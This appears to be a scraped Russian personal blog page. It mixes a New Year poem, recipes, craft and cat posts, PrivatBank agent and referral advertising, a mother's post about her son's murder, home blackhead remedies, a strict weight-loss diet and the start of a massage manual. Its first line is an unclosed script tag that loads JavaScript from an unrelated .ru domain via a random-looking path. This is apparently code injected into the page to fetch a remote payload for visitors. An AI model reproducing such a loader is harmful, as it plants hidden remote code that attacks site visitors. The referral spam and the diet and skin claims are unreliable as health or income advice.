<script type="text/javascript" async src="http://vetepa.ru/862o44245y35xohekt5ez87s7e0atqybn8bj754a3ck5

<center><img src="//img-fotki.yandex.ru/get/6425/194113744.4/0_...ad1fe_orig"><br>
<A HREF= http://nataly-lenskaya.livejournal.com/472546.html>Узнать свою характеристику</A></center>

Уходит двенадцатый год безвозвратно,
Уносит с собой суету прежних дней.
Поздравить сердечно мне очень приятно
Всех близких, родных и, конечно, друзей.
Пусть цифра "тринадцать" пугать Вас не станет –
Потерян магический смысл для неё.
Хозяйка-Змея повсеместно пусть правит.
Случиться беде в её год не дано.
Лишь только добро нам сулят предсказанья,
И целый поток интересных идей.
Змея одиноким подарит признанья
В глубокой любви, достойной царей.
Друзья, от себя я хочу пожелать Вам
Земного блаженства, как будто в раю.
Хочу, чтобы каждому выпала карта
«Не выпасть с обоймы», остаться в строю!

Многих интересует заработок в Интернете.

Вот и я сидя дома, читаю и перечитываю о возможностях дополнительного заработка.

Это ссылка сайта с очень интересными книгами по заработку в сети.

Особенно меня заинтересовала книга "Бесплатная реклама".  Воспользовалась советами автора и не потратив ни копейки разместила рекламу Приват-банка, где являюсь агентом. Переходов за 1 ночь увеличилось до 1000.

Книги можно скачать абсолютно  бесплатно. Подпишитесь на рассылку, это также даст возможность заработать.

http://fleads.net/service/subscribe.php?data=82f5967dc485e7fa8a270d7125255dcc 

Удачи Вам.

Всем кому интересен мой опыт поиска удаленной работы.

Месяц назад осталась без работы, и зарегистрировавшись на бирже, стала искать себе работу.

На разосланные резюме никто не отвечает, мой опыт работы никому не нужен, знакомые обещают помочь, но только после Нового года.

Перечитала миллион статей в интернете о работе на дому и поняла, что реального заработка не получится.

Пишу статьи для сайтов, но оплата мизерная и заказов не много.

Решила стать агентом Приват Банка и пока не пожалела. Доход у меня не большой, но у меня и не так много знакомых кому можно предложить услуги Приват Банка.

Поэтому если у Вас большой круг знакомых и кому-то нужны кредиты или работа, попробуйте. Вложений не требуется, только получить в любом отделении банка универсальную кредитную карту (если у Вас ее нет).

<a href="http://agent.privatbank.ru/branches/product/26/1006915740/" target="_blank" style="border:0" > <img src="http://agent.privatbank.ru/media/banners/shared/moskva_agent_300x250_ru_2_1.jpg" alt="Привлечение агента"/> </a>

мука – 500 г

Замесить тесто и оставить на 1 час, для подъема.

Разделить на три части.

Размять руками до толщины 1.5 см, и положить 1/3 начинки.

Слепить шар

Перевернуть на смазанный противень вниз швом

Разминать руками до толщины 0.7 см

Сделать дырочку в середине для выхода пара.

Накрыть пленкой или полотенцем и оставить на 20 минут

Выпекать при 210 градусах 12-15 минут.

Смазать сливочным маслом.

ЛЕЧО

- 3 кг помидор
- 4 кг перца
- 350 гр сахара
- 140 гр подсолнечного масла
- 140 гр 9% уксуса
- 3 ст.л без верха соли

Выход: 6 литров продукта


1.Помыть, очистить перец, порезать.
2.Помидоры помыть , вырезать плодоножку и пропустить через мясорубку
3.Перцы равномерно выложить в кастрюлю, в которой будем варить наше лечо.
Вылить сверху помидоры.
Помыпать сахаром, солью. Вылить масло и уксус.
Не перемешивать ничего!
Для чистоты прикрыть слегка крышкой или полотенцем и оставить на 2 часа на кухне.
Затем ставим на огонь (напоминаю, ничего не мешаем) и доводим до кипения. На малом огне даем покипеть 15 минут.

Снимаем с огня и разливаем в простериализованные банки. Закрываем герметично.(или закатываем),Переворачиваем и даем остыть.
 

Год назад 12.06.2011г мы подобрали котенка.

Прошел год и Пушок очень изменился

С Васей лучшие друзья.

Тесто:

дрожжи сухие -1 пакетик

вода - 1 стакан

молоко  0,5литра

сахар 2 ст.ложки

соль 1 ч.л.

масло растительное -2 ст.л.

маргарин(растопить) - 200г

мука ржаная 2 стакана

мука пшеничная (как возьмет тесто) -  2-3 стакана

Фарш:

Говядина или свинина - 700гр

Лук репчатый - 3 луковицы

Соль, перец, специи - по вкусу

Масло растительное для жарки.

 Замесить тесто и оставить в теплом месте на 1,5-2 часа (пока не увеличится в 2 раза)

Отварить мясо и прокрутить через мясорубку.

Лук мелко нарезать и обжарить на растительном масле, добавить мясо , посолить, поперчить, добавить любимые сухие травки, несколько минут потушить добавляя для сочности бульон. Фарш должен быть сочным, но не мокрым.

Обмять подошедшее тесто, раскатать 2/3 объема на большой противень. Выложить начинку, сформировать бортики, из оставшегося теста сделать решетку и украсить.

Накрыть полотенцем и дать постоять минут 20. Смазать взбитым яйцом и в нагретую духовку.

Выпекать при 200 градусах 40 минут.

Брюки любимые, проверенные во многих житейских ситуациях, полгода рука не поднималась выбросить.

И вдруг неожиданная идея забрела в мою голову.

Подушки цветы моя новая страсть.

Вот мое новой творение.

Нашла рецепт немецких крендельков бретцелей.

Тесто:

600г муки

450мл теплого молока

2 чайные ложечки соли

1 чайная ложечка сахара

1 пакетик сухих дрожжей

Тесто замесить и подождать пока не увеличится в 2 раза.

Подошедшее тесто хорошо обмять, затем разделить на 12 частей.

Каждый кусочек теста раскатать в тонкую колбаску длиной 40 см и сформировать кределек.

Духовку разогреть до 200 градусов.

В кастрюлю налить литр воды, довести до кипения и добавить 1 столовую ложку соды.

Огонь убавить и опускать в воду по 1 бретцелю на 40 секунд.

Выкладывать на противень застеленный промасленным пергаментом и посыпать сухим маком.

Выпекать до золотистого цвета (15-20 минут)

Нашла на просторах ли.ру подушки-цветы, себе забыла процитировать.

Вдохновилась идеей, нарисовала от руки выкройку как поняла по видео и сшила 2 "шедевра".

Разодрала старую синтепоновую подушку (никто на ней спать не хочет), где можно купить холофайбер или синтепон не нашла. У нас продают только рулонный. Очень хочется сшить такие подушки крестнице из тоненького яркого флиса, но также не знаю где его купить. Может кто нибудь видел в Москве в розницу флис и наполнитель для подушек, напишите!

Связала свою первую сумку крючком.

Вдохновилась сообщением Иримед (Спасибо ей большое) http://mizrah.ru/post159465897/?upd

У меня на 2 мотива больше, нитки очень тоненькие 900м/100г, вязала в две нити, ушло 200 гр крючок 2мм.

http://www.stranamam.ru/post/2590892/

Перечитала миллион рецептов селедки под шубой, и решила сделать с желатином.

Мой вариант рулета:

1 большая вареная свекла

1 вареная морковка

2 вареных яйца

1 луковица

2 филе соленой сельди

Соус:

Желатин 2 ст. л. залить теплой водой или овощным бульоном (1 стакан), выдержать 1 час и подержать на водяной бане, постоянно помешивая, до полного растворения желатина. Добавить 1/2стакана майонеза, посолить поперчить по вкусу.

Натереть на крупной терке овощи и яйца в отдельных мисочках и смешивать с соусом по 3-4 ст.л.

Выложить все слоями на пищевую пленку, каждый ряд немного меньше предыдущего.

Поднимая с двух сторон пленку, свернуть рулетик.

В холодильник на 4 часа.

Мы ели бутерброды.

<img src=http://xn--80abvxkpzaa0a.xn--p1ai/blog/test/nume/12go01v8.jpg border=0> <br>Пойти узнать, что предсказывает тебе нумерология на 2012 год: http://uborshizzza.livejournal.com/1748159.html

Не получается вставить код в сообщение, вставила в комментарии.

Поздравлю с Новым годом!!!

Множество игр

http://www.murgames.ru

<a href="http://www.murgames.ru/prohojdenie/zolotie-istorii...nasledie/">Прохождение игры "Золотые истории 2. Утерянное наследие"</a>

Доброго времени суток, все мои читатели.

Я никогда не думала, что напишу в дневник что-то личное. Но 31.10.2011 в г.Видное убили моего сына.

Илье 28 ноября должно было исполниться всего 23 года.

Он учился на 4 курсе института.

Работал.

И год жил с замечательной девушкой. Задумывался о свадьбе.

Я мечтала о внуках, и радовалась, что у него все складывается достаточно удачно.

А вечером (примерно с 20 до 21 часа). Его убили нанеся 20 ножевых ранений в область туловища, шеи и лица. По предварительным заключениям экспертов первое ранение было смертельным,удар в сердце.

На месте смерти сегодня в 12.00 кровь на осенней листве еще свежая.

Его нашли только 1.11.11 в 12 часов, мы не спали всю ночь обзванивая больницы, полицию и морги. Это была первая ночь когда он не ночевал дома.

Я не знаю найдут убийцу или убийц, узнаю ли я когда нибудь, что же случилось.

Но я будучи добрым человеком и находя оправдание многим человеческим недостаткам, мечтаю о страшной божьей каре убийцам. Я шлю материнское проклятье этим нелюдям.

Я против моратория на смертную казнь.

Дорогие мои, цените каждую минуту которую вы проводите со своими детьми, как можно чаще говорите  как вы их любите, что они лучше всех.

Илюшка сказал мне пару недель назад, что он меня очень любит, и я ответила, что я тоже очень люблю свое творение.

В день своей смерти Илья позвонил в обеденный перерыв, хотя мы всегда созванивались по вечерам, и очень радостно сообщил, что приедет в четверг, т.к. в пятницу праздник, и они проведут 3 дня с нами.Я так радовалась его хорошему настроению.

И больше его нет. Не будет внуков, ничего не будет.

Мне 41 год и я не знаю ради чего жить, забота о нем, желание ему помочь было двигателем моей карьеры. А теперь у меня нет цели.

Я сильная, я выживу, но за что такая несправедливость?

Спасибо, что выслушали. Величину моего горя не описать.

Дай Вам Бог, счастья. Пусть Ваши дети будут живы и здоровы!!!

Избавляемся от черных точек в домашних условиях

17 марта 2011, 00:00 | Наталья Карпова

61 выбрали

 

Профессиональная чистка кожи иногда не дает существенных результатов, а покраснение, воспаление и шелушение остаются на коже после этой процедуры надолго. Помнится, как я не выходила из дома неделю, так тщательно старалась косметолог очистить мой нос и подбородок от камедонов. С тех пор я не использую варварских методов по удалению черных точек, предпочитая лишь готовые косметические средства или народные методы. Нужно сказать, что в комплексе все это работает на отлично!

Мне удалось составить целую программу очищения лица, рассчитанную на неделю. За этот срок кожа лица подвергается минимальному стрессу, а удаление черных точек происходит без ущерба для внешнего вида.

Существует несколько природных ингредиентов, которые аккуратно растворяют, вымывают и удаляют черные точки.

Этап первый - мед

Все, что вам понадобится, это столовая ложка меда и немного теплой воды. Разбавьте мед до состояния густого лосьона, вымойте руки, удалите макияж и нанесите состав на лицо. Легкими движениями массируйте кожу на пораженных камедонами зонах. Оставьте на 15 минут, затем смойте теплой водой. Благодаря наличию большого количества активных компонентов, мед способствует открытию пор, удалению из них грязи, а также он стимулирует клеточный обмен.

Этап второй – виноград

Ягоды винограда содержат максимальное количество антиоксидантов. Об этом уже давно знают все передовые косметические компании и успешно используют экстракты из винограда в своих продуктах. Для того, чтобы создать мощнейшее оружие против черных точек, нам понадобится штук пять крупных и сочных ягод красного винограда с косточками. Превратите их в пюре вместе с косточками. Эту смесь нанесите на лицо, тщательно массируя проблемные места – нос, щеки, подбородок. Скрабирующие частички удалят с кожи избыток себума и омертвевшие клетки. Через 15 минут смойте маску-скраб холодной водой, чтобы закрыть поры.

Этап третий – куркума

Эта восточная пряность хороша не только в плове: она позволяет быстро блокировать начинающиеся воспаления и предотвращать появление новых. Черные точки имеют обыкновение иногда воспаляться, чтобы этого не допустить, сделаем простую маску. 1 столовую ложку порошка куркумы смешаем с 1 столовой ложкой мятного настоя (пакетик мятного чая завариваем 50 мг воды, настаиваем, остужаем), получившуюся кашицу наносим на лицо минут на 20, смываем прохладной водой. Эффект от этой маски потрясающий, также, как и цвет лица.

Этап четвертый – цедра апельсина

Если на вашем лице слишком много черных точек, эту маску вам нужно делать как можно чаще. Берем 1 средний апельсин, аккуратно снимаем кожуру, измельчаем в мясорубке, добавляем несколько капель воды (а если кожа сухая, то оливкового масла), наносим на лицо. На самом деле, это настоящий фруктовый пилинг, потому как в кожуре апельсина содержатся те самые фруктовые кислоты, борющиеся с черными точками. Результат вы оцените уже после первой процедуры. В идеале, маску лучше делать после ванны – на распаренное лицо.

Этап пятый – зеленый чай

Зеленый чай – сильнейший антисептик и антиоксидант. Ему не только под силу уменьшить количество черных точек, снизить воспаления, но и заметно улучшить тургор кожи. Берем 1 ст. л. сухих листьев зеленого чая, перемалываем в ступке. Частички не должны быть слишком мелкими, мы готовим скраб. Добавляем немного горячей воды, наносим смесь на лицо, как скраб, тщательно массируя зоны, пораженные камедонами. В идеале эту процедуру лучше делать также на распаренное лицо, когда поры открыты.

Эти пять этапов чередуем в течение недели, не забывая делать апельсиновый пилинг через день.

Специальная косметика

Кому не хочется заниматься приготовлением самодельной косметики, используйте уже готовую. Благо, известные бренды предлагают довольно широкий ассортимент продуктов по борьбе с черными точками.

Мусс для умывания Chanel Mousse Douceur

При контакте с водой этот кремообразный мусс превращается в воздушную освежающую пену и идеально очищает кожу лица и область вокруг глаз от декоративной косметики.

Одновременно с удалением косметики, пена глубоко очищает кожу, убирая мелкие прыщики и черные точки.

После использования мусса кожа становится нежной и бархатистой, а лицо приобретает посвежевший вид.

Балансирующий скраб Estee Lauder Perfectly Clean Fresh Balancing Exfoliator

Разработанный специально с учетом особенностей нормальной и комбинированной кожи, кремообразный пенящийся скраб одновременно удаляет омертвевшие сухие клетки с поверхности кожи, контролирует выделение жира и вычищает "черные точки".

Экстракты белой водяной лилии, сенеги и барбариса в сочетании с экстрактом алоэ смягчают и успокаивают кожу. Экстракт морской водоросли ламинарии контролирует процесс выделения жира. Неабразивные сферические полиэтиленовые частицы целенаправленно борются с ороговевшими мертвыми клетками, эффективно отшелушивая их с поверхности кожи. Необычная форма частиц позволяет решить проблемы сразу двух типов кожи.

Очищающая энзимная маска Swiss Line

Нежная, созданная для эффективного глубокого очищения, маска мгновенно восстановит загрязненную, устало выглядящую кожу.

Оптимально сбалансированное сочетание натуральных активных ингредиентов благотворно воздействует на кожу, обеспечивая ей матовость и гладкость. Ваше лицо вновь засияет чистотой и свежестью.

Рекомендуется для кожи с камедонами и воспалительными угревыми элементами. При нормальной и комбинированной коже использовать только на Т-зоне.

Очищающая маска Pure Empreinte Lancome

Очищающая минеральная маска на основе белой глины для глубоко очищает поры, удаляя черные точки и избавляя от жирного блеска.

Абсолютно не сушит кожу, стягивает крупные поры и улучшает цвет лица.

Очищающие диски с антибактериальным лосьоном Cell Culture Blemish Cleansing Solution Skin Biology Therapy

Диски, пропитанные антибактериальным лосьоном, для жирной и склонной к высыпаниям коже идеально очищают кожу, растворяют камедоны , сужают поры, устраняют жирный блеск и препятствуют воспалениям.

Применяйте после очищения кожи вместо лосьона.

Гелевая маска-пилинг "Клубника со сливками" Montagne Jeunesse

Мягкие фруктовые кислоты позволяют глубоко очистить поры, удалить черные точки.

Растительный коллаген и сливки увлажняют кожу, делая ее заметно более молодой, упругой и свежей.

Наталья Карпова, etoya.ru

Данная диета предполагает весьма эффективное снижение веса. Однако злоупотреблять подобным методом все же нежелательно. В отличие от всевозможных «звездных» диет, данный метод контроля и корректировки веса предполагает сбалансированное питание и не вызывает иммунного ослабления организма в виду нехватки полезных веществ.

Понедельник

Завтрак: 1 чашка черного кофе или чая, 1 маленький сухарик.

Обед: 2 яйца, сваренных вкрутую, 80 г шпината, заправленного небольшим количеством масла. 1 помидор.

Ужин: котлета, 150 г салата из помидоров и мелко порезанного зеленого лука, заправленного маслом.

Вторник

Завтрак : чашка кофе или чая, небольшой сухарик.

Обед: 200 г салата из помидоров и нашинкованной капусты, заправленного маслом. 1 апельсин или 2 мандарина, можно 1 большое яблоко или немного слив.

Ужин: 2 яйца, сваренных вкрутую, 200 г вареного мяса, 80 г зеленого салата.

Среда

Завтрак: 1 чашка кофе или чая.

Обед: 1 яйцо, сваренное вкрутую, 200 г вареной моркови, заправленной небольшим количеством масла, 100 г сыра.

Ужин: 250 г салата из яблока, мандарина, банана, груши или каких-либо других фруктов.

Четверг

Завтрак: 1 стакан натурального яблочного сока.

Обед: 250 г жареной или отварной рыбы, 1 помидор, 1 яблоко.

Ужин: 1 мясная котлета, 150 г зеленого салата, заправленного небольшим количеством масла либо соком лимона.

Пятница

Завтрак: 1 стакан морковного сока.

Обед: 200 г жареной курицы, 100 г зеленого салата.

Ужин: 2 яйца, сваренных вкрутую, 1 небольшая тертая морковь, заправленная маслом.

Суббота

Завтрак: чашка несладкого чая, 1 сухарик.

Обед: 200 г жареного мяса, 150 г салата из нашинкованной капусты с лимонным соком.

Ужин: 100 г тертой моркови, заправленной маслом, 150 г сыра.

Воскресенье

Завтрак: 1 чашка несладкого чая, 1 сухарик.

Обед: 200 г жареной или отварной курицы.

Ужин: 300 г любых фруктов (яблок, груш, слив, апельсинов и др.).

Данной диеты нужно придерживаться точно, не изменяя последовательности блюд. Между приемами пищи можно пить минеральную негазированную воду, можно с добавлением сока лимона или грейфрута.

Пришло это чудо, и как-то  незаметно прижилось.

Васька не против, только наглость мелкого его иногда поражает.

Васеька караулит, а Пушок в отдушине.

Довязала платье подруге. Ушло2 месяца и 450 грамм хлопка 100г/550м.

Игорь Витальевич Дунаев
Пособие по лечебному массажу

Учебное пособие. Всероссийское общество слепых (ВОС).

Настоящее пособие, обобщающее опыт по подготовке массажистов из числа лиц, потерявших зрение, который накопила профессиональная школа массажистов Кисловодска за 15 лет, является руководством по обучению методике и технике лечебного массажа незрячих и слабовидящих. Излагаемый в данном руководстве материал может представлять интерес не только для учащихся и преподавателей, но и для массажистов, занимающихся лечебной практикой, поскольку в работе приведён ряд положений, которые в медицинской литературе освещены недостаточно. Автор пособия- врач, потерявший зрение и получивший новую специальность в стенах профшколы Кисловодска. Школа дала ему возможность вновь занять место в строю людей в белых халатах и применить свои силы и знания на благо людей.

Содержание

Часть первая - Руководство по классическому массажу

• Введение
• 1. Гигиенические основы лечебного массажа
• 1.1. Требования, предъявляемые к массажисту
• 1.2. Гигиена массажиста
• 1.3. Условия работы массажиста
• 1.4. Массажный кабинет
• 1.5. Гигиенические требования, предъявляемые к пациентам
• 1.6. Рабочий день массажиста
• 1.7. Факторы, облегчающие работу массажиста
• 1.8. Смазывающие вещества и присыпки, применяемые в массаже
• 1.9. Условия, обеспечивающие правильное выполнение массажа
• 2. Механизм физиологического действия массажа на организм
• 2.1. Физиологическое влияние массажа на кожу и подкожно-жировую клетчатку
• 2.2. Физиологическое влияние массажа на сердечно-сосудистую и лимфатическую системы
• 2.3. Физиологическое влияние массажа на мышечную систему и суставно-связочный аппарат
• 2.4. Физиологическое влияние массажа на нервную систему
• 3. Приёмы классического лечебного массажа
• 3.1. Поглаживание
• 3.2. Растирание
• 3.3. Разминание
• 3.4. Вибрация
• 4. Практическое изучение техники приёмов классического массажа
• 4.1. Техника выполнения приёма поглаживания
• 4.2. Техника выполнения приёма растирания
• 4.3. Техника выполнения приёма разминания
• 4.4. Техника выполнения приёма вибрации

Часть вторая - Массаж отдельных анатомических областей тела человека

• Массаж волосистой части головы
• Массаж лица
• Массаж шеи
• Массаж грудной клетки
• Массаж спины
• Массаж живота
• Массаж верхней конечности
• Массаж важнейших нервных стволов верхней конечности
• Массаж пояснично-крестцовой области и нижней конечности
• Массаж важнейших нервных стволов нижней конечности
• Общий массаж
• Дозировка лечебного массажа

Часть третья - Частные методики классического массажа при различных заболеваниях

• Массаж при заболеваниях сердечно-сосудистой системы
• Методика массажа при хронической сердечно-сосудистой недостаточности
• Методика массажа при стенокардии
• Методика массажа при гипертонической болезни
• Методика массажа при гипотонической болезни
• Методика массажа при варикозном расширении вен
• Методика массажа при геморрое
• Методика массажа при облитерирующем эндартериите
• Массаж при заболеваниях системы органов дыхания
• Методика массажа после перенесённой острой пневмонии
• Методика массажа после перенесённого плеврита
• Методика массажа при бронхиальной астме
• Методика массажа при эмфиземе лёгких
• Массаж при заболеваниях желудочно-кишечного тракта
• Методика массажа при хроническом гастрите
• Методика массажа при спастических и атонических колитах
• Методика массажа при рубцах на брюшной стенке и спайках в брюшной полости
• Методика массажа при гастроптозе
• Массаж при нарушении обмена веществ
• Методика массажа при ожирении
• Методика массажа при сахарном диабете
• Методика массажа при подагре и подагрическом артрите
• Массаж при заболеваниях опорно-двигательного аппарата
• Методика массажа при ушибах
• Методика массажа после растяжений мышц, связок и суставов
• Методика массажа при вывихах
• Методика массажа при переломах костей
• Методика массажа при переломе хирургической шейки плеча
• Методика массажа при переломе диафиза плечевой кости
• Методика массажа при переломах костей локтевого сустава
• Методика массажа при переломах костей предплечья в “типичном” месте
• Методика массажа при переломе шейки бедра
• Методика массажа при переломе диафиза бедра
• Методика массажа при переломах костей коленного сустава
• Методика массажа при повреждении менисков и связочного аппарата коленного сустава
• Методика массажа при переломах костей голени
• Методика массажа при повреждениях ахиллова сухожилия
• Методика массажа при переломах лодыжек
• Методика массажа при переломах костей таза
• Методика массажа при переломах позвоночника
• Методика массажа при контрактурах
• Методика массажа при контрактуре ладонного апоневроза (контрактура дюпюитрена)
• Методика массажа при кривошее
• Методика массажа при плоскостопии
• Методика массажа при косолапости
• Методика массажа при сколиозах
• Методика массажа при подготовке ампутационной культи нижней конечности к протезированию
• Методика массажа при ревматическом полиартрите
• Методика массажа при инфекционном неспецифическом (ревматоидном) полиартрите
• Методика массажа при диабетическом поражении костно-суставного аппарата
• Методика массажа при бруцеллёзном полиартрите
• Методика массажа при болезни кашин-бека
• Методика массажа при остеохондропатиях различных локализаций
• Методика массажа при остеохондропатиях коленного сустава (болезнь кенига)
• Методика массажа при остеохондропатии головки бедренной кости (болезнь пертеса)
• Методика массажа при эпикондилите
• Частные методики массажа при заболеваниях нервной системы
• Методика массажа при неврастении
• Методика массажа при писчем спазме
• Методика массажа при последствиях нарушения мозгового кровообращения
• Методика массажа при арахноидитах
• Методика массажа при вялых параличах
• Методика массажа при инфекционном миелите
• Методика массажа при боковом амиатрофическом склерозе
• Методика массажа при сирингомиелии
• Методика массажа при остеохондрозах
• Методика массажа при неврите лицевого нерва
• Методика массажа при невралгии тройничного нерва
• Методика массажа при невралгии затылочных нервов
• Методика массажа при радикулитах
• Методика массажа при плечевом плексите
• Методика массажа при неврите подкрыльцового, срединного, лучевого и локтевого нервов
• Методика массажа при ишиасе
• Методика массажа при неврите бедренного нерва
• Методика массажа при невралгии наружного кожного нерва бедра
• Методика массажа при хирургических вмешательствах на нерве
• Методики массажа при неврите большеберцового и малоберцового нервов
• Методика массажа при вибрационной болезни
• Методика массажа при синдроме плечо- кисть
• Методика массажа при плечелопаточном периартрите
• Методика массажа при миалгии
• Методика массажа при миатонии
• Методика массажа при миастении
• Методика массажа при миотонии
• Методика массажа при миопатии

Часть четвертая - Рефлекторно-сегментарный массаж

• Основные особенности рефлекторно-сегментарного массажа
• Соматическая нервная система
• Вегетативная нервная система
• Зоны иннервации спинномозговых сегментов
• Виды рефлекторных изменений в тканях, анализ и выявление рефлекторных изменений
• Рефлекторные изменения в коже
• Рефлекторные изменения в подкожной соединительной ткани
• Рефлекторные изменения в мышцах
• Рефлекторные изменения в надкостнице
• Дозировка рефлекторно-сегментарного массажа
• Физиологическое действие рефлекторно-сегментарного массажа
• Методические указания к проведению рефлекторно-сегментарного массажа
• Побочные действия рефлекторно-сегментарного массажа (смещение рефлексов)
• Техника выполнения рефлекторно-сегментарного массажа
• Техника сегментарного массажа области лопаток
• Воздействие на подостную мышцу
• Воздействие на надостную мышцу
• Воздействие на подлопаточную мышцу
• Воздействие на рефлекторные изменения в области лопатки
• Воздействие на места выхода сегментарных спинномозговых нервов в области шейного отдела позвоночника по паравертебральным линиям
• Воздействие на рефлекторные изменения в мягких тканях в области надплечья
• Воздействие на рефлекторные изменения в грудинно-ключично-сосцевидной мышце
• Воздействие на рефлекторные изменения в области верхней выйной линии
• Воздействие на рефлекторные изменения в области лба
• Воздействие на рефлекторные изменения в межрёберных мышцах
• Воздействие на нижний край грудной клетки слева
• Воздействие на места прикрепления рёбер к грудине
• Воздействие на грудину
• Воздействие на рефлекторные изменения в области таза
• Воздействие на область крестца
• Воздействие на ягодичную область
• Воздействие на подвздошную мышцу
• Воздействие на подвздошно-поясничную мышцу
• Сотрясение таза
• Частные методики рефлекторно-сегментарного массажа
• Рефлекторно-сегментарный массаж при заболеваниях сердца
• Рефлекторно-сегментарный массаж при заболеваниях периферических сосудов
• Рефлекторно-сегментарный массаж при заболеваниях органов дыхания
• Рефлекторно-сегментарный массаж при заболеваниях желудочно-кишечного тракта
• Рефлекторно-сегментарный массаж при заболеваниях двенадцатиперстной, тонкой и толстой кишок
• Рефлекторно-сегментарный массаж при заболеваниях печени и желчного пузыря
• Рефлекторно-сегментарный массаж при синдроме головных болей
• Рефлекторно-сегментарный массаж при заболеваниях опорно-двигательного аппарата
• Рефлекторно-сегментарный массаж при заболеваниях позвоночника
• Рефлекторно-сегментарный массаж при ишиасе
• Рефлекторно-сегментарный массаж при пояснично-крестцовых болях
• Рефлекторно-сегментарный массаж при функциональных заболеваниях женских половых органов

Часть пятая - Основы точечного массажа

• Сущность и основные особенности точечного массажа
• Физиологическое действие точечного массажа
• Подготовка и проведение процедуры точечного массажа
• Характеристика и основные особенности биологически активных точек
• Приёмы точечного массажа
• Методы воздействия точечного массажа
• Методические указания к применению точечного массажа
• Выбор точек воздействия и их сочетание
• Методика обнаружения биологически активных точек
• Показания к применению точечного массажа
• Частные методики точечного массажа при различных заболеваниях
• Невралгия тройничного нерва
• Невралгия затылочных нервов
• Неврит лицевого нерва
• Мигрень
• Неврастения
• Плечевой плексит
• Писчий спазм
• Межрёберная невралгия и грудной радикулит
• Неврит бедренного нерва и невралгия наружного кожного нерва бедра
• Пояснично-крестцовый радикулит
• Остаточные явления полиомиелита
• Гипертоническая и гипотоническая болезни
• Стенокардия
• Облитерирующий эндартериит
• Бронхиальная астма
• Спастический колит
• Язвенная болезнь желудка и двенадцатиперстной кишки
• Тиреотоксикоз
• Сексуальные неврозы
• Зуд в области женских половых органов
• Экзема и нейродермит
• Ночной энурез
• Глаукома
• Пигментная дегенерация сетчатки глаза, близорукость и частичная атрофия зрительного нерва
• Точки, требующие особой осторожности при проведении точечного массажа
• Точки реанимации
• Список литературы

Часть первая - Руководство по классическому массажу

Введение

Массаж- это лечебный метод, который заключается в том, что с помощью рук или аппаратов проводится поглаживание, растирание, разминание или сотрясение тканей человеческого тела. Народы нашей страны, как и народы других стран, массаж в лечебных целях применяют с незапамятных времён, когда повитухи, костоправы, знахари умело пользовались различными приёмами массажа, вправляли вывихи, лечили переломы, избавляли людей от запоров, исправляли неправильное положение матки, лечили от ломоты в пояснице и так далее. В прошлом столетии русскими учёными было разработано физиологическое обоснование влияния массажа на организм здорового и больного человека, определены показания и противопоказания к применению массажа при различных заболеваниях, созданы новая классификация массажных приёмов, новые методики применения массажа при лечении различных больных. Исключительное значение по изучению физиологического действия массажа имели труды русского учёного И. З. Заблудовского, которого по праву считают основоположником русского классического массажа. Его работы по массажу в хирургии, терапии и спорте имели и имеют в настоящее время большое научное значение. И. З. Заблудовским написано свыше ста научных работ по физиологическому обоснованию действия и по методике массажа. Он ввёл в массаж ряд новых массажных приёмов и внёс большой вклад в развитие спортивного массажа. Благодаря его исследованиям массаж привлёк внимание великих русских учёных второй половины девятнадцатого века: С. П. Боткина, В. А. Манасеина, Л. А. Остроумова, В. А. Ратимова, Д. О. Отта, А. Н. Маклакова, В. А. Штанге, Г. И. Турнера, А. Е. Щербака и других. Начиналось изучение механизма действия массажа, его методики и техники, показаний и противопоказаний. Д. О. Отт написал ряд работ о значении применения массажа в акушерско-гинекологической практике. Он организовал в акушерско-гинекологической клинике Петербурга в тысяча восемьсот восемьдесят восьмом году специальные курсы по гинекологическому массажу. Большой вклад в дело внедрения массажа в офтальмологию внёс А. Н. Маклаков, которому принадлежит приоритет введения в офтальмологию механической вибрации. В тысяча восемьсот девяносто третьем году А. Н. Маклаков сконструировал вибрационный аппарат, который применялся при лечении различных хронических заболеваний глаз. К. А. Шульц, Н. И. Гуревич и другие применяли массаж в хирургической клинике при лечении переломов. Действие вибрационного массажа на организм глубоко и всесторонне изучали В. М. Бехтерев, Н. Ф. Чикаев, М. Я. Брейтман, А. Е. Щербак, Е. Ц. Андреева-Галанина. Большое значение для развития массажа в нашей стране имели работы таких учёных, как Е. И. Залесовой. Р. В. Кипарского, Л. И. Бубличенко, В. Ф. Снегирёва, А. Р. Киричинского и других. Но несмотря на это, в дореволюционной России массаж не получил широкого распространения среди населения, не было кадров квалифицированных массажистов, а специалисты, которые владели искусством массажа, не могли обеспечить его широкого применения. Поскольку лечение у таких специалистов стоило слишком дорого, большинство вынуждено было по-прежнему обращаться за помощью к знахарям. После революции медицинская квалифицированная помощь становится доступной всему населению нашей страны. Массаж начинают применять в больницах, поликлиниках, физкультурных диспансерах, санаториях, детских лечебных учреждениях. Широкое применение массаж нашёл в косметике и спорте. Много сил и энергии отдали развитию массажа такие учёные, как И. М. Саркизов-Серазини, А. Ф. Вербов, В. К. Крамаренко, А. Е. Щербак, В. К. Стасенков, В. Е. Васильев и другие. Особое место занимает в истории развития массажа период Великой Отечественной войны. В эти грозные для страны годы необходимо было восстанавливать здоровье сотен и тысяч раненых, находящихся на излечении в госпиталях. Создавались специальные курсы по подготовке массажистов, часто из числа участников войны, оставшихся без зрения. В то время Всероссийское общество слепых открыло Кисловодскую профшколу массажистов, где готовят квалифицированных незрячих и слабовидящих массажистов, в сентябре тысяча девятьсот восемьдесят первого года преобразованную в Кисловодское медицинское училище номер 2 Министерства здравоохранения россии.

1. Гигиенические основы лечебного массажа

1.1. Требования, предъявляемые к массажисту

Для того, чтобы стать массажистом, необходимо выполнять определённые требования.
1. Учащийся должен знать нормальную, топографическую и патологическую анатомию, особенности строения различных тканей, хорошо разбираться в топографии массируемой части тела. Кроме того он обязан свободно ориентироваться в расположении кожных зон сегментарной иннервации и уметь отличать патологическое состояние тканей и органов от нормального. Знание топографической анатомии особенно необходимо в связи с введением в лечебную практику сегментарного и точечного массажа. Небрежное отношение к этому требованию приводит к тому, что учащийся, а затем и массажист, плохо понимает, почему одни приёмы можно делать только в одном направлении, а другие- в любом. Такой массажист будет работать неквалифицированно и не получит полноценного лечебного результата.
